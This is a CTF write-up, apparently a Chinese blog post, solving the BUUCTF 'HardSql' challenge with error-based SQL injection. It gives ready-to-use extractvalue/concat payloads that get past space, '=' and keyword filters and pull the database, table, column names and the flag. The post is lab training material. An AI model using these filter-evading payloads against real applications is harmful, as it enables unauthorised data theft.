50.【8】BUUCTF WEB HardSql

进入靶场

随便输输

上order by

????????,被过滤了,继续找其他也被过滤的关键字

#,-- -,-- +都不行,尝试其他特殊字符后发现and,union,select,空格,=都被过滤了

如下

我就不知道该怎么注入了

看看其他人的wp,直接在url处输入用户名和密码,并且用到了extractvalue函数,concat函数

1.查询库名

aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

(特殊符号^是用来绕过对空格的过滤)(0x7e表示~)(用了很多括号来避免空格的使用)

2.查询表名

aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

(用like表示=)

3.查询字段名

aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

4,查询字段内容

aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

XPATH syntax error: '~flag{d3f924ee-7d15-4a27-9fd8-c5'

5,从后往前查询

aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),32))%23

XPATH syntax error: 'fd8-c5239a11bb58}'

6,拼接

flag{d3f924ee-7d15-4a27-9fd8-c5239a11bb58}

over

笔记

1,

extractvalue() 函数:

extractvalue() 是 MySQL 的一个 XML 函数,用于从 XML 字符串中提取值。它的第一个参数是 XML 文档或片段,第二个参数是 XPath 表达式,用于定位要提取的值,第一个参数 1 通常是一个不相关的占位,第二个参数是攻击者精心构造的恶意表达式。

2,

concat() 函数:

concat() 函数用于拼接字符串。在这个例子中,攻击者使用 concat(0x7e,(select(database()))) 来拼接字符串。

0x7e 是十六进制表示的字符 ~。

select(database()) 是 SQL 查询语句,用于获取当前使用的数据库名称。攻击者将 ~ 和查询到的数据库名称拼接在一起。

3,

%23:

%23 是 # 的 URL 编码

相关推荐
Quincy_Freak43 分钟前
信创内网数据规范实践:银河麒麟下SQLite本地数据安全管理方案
数据库·sqlite·arm·数据库管理·大数据分析·银河麒麟·aarch64
至乐活着2 小时前
MySQL索引底层原理与查询优化实战:从B+树到执行计划
mysql·b+树·查询优化·sql性能·索引原理
茯苓gao2 小时前
嵌入式开发笔记:CANopen相关移位运算与通信协议术语详解
网络·嵌入式硬件·学习·信息与通信
2601_962683893 小时前
治理遗留系统中的“生肉 SQL”:一次用多模型协作优化慢查询的实战复盘
数据库·人工智能·sql
酱学编程3 小时前
【从零到一实现一个 AI Agent 框架 · 第四篇】04. 任务规划:拆解复杂目标 -
服务器·网络·数据库·人工智能
shushangyun_4 小时前
2026智能采购商城系统选型指南:如何引领企业数字化采购升级
java·大数据·数据库·人工智能·机器学习
dexi.Chi 攻城狮5 小时前
SQL层次查询语法
经验分享·笔记·sql
华山令狐虫5 小时前
DBAPI AI 写 SQL:支持动态 SQL 与参数占位符,自然语言一键生成
数据库·人工智能·sql·dbapi
HERR_QQ6 小时前
强化学习的数学原理 学习笔记
人工智能·笔记·学习·自动驾驶
IvorySQL6 小时前
PG 技术日报|2026-07-04
数据库·人工智能·postgresql·开源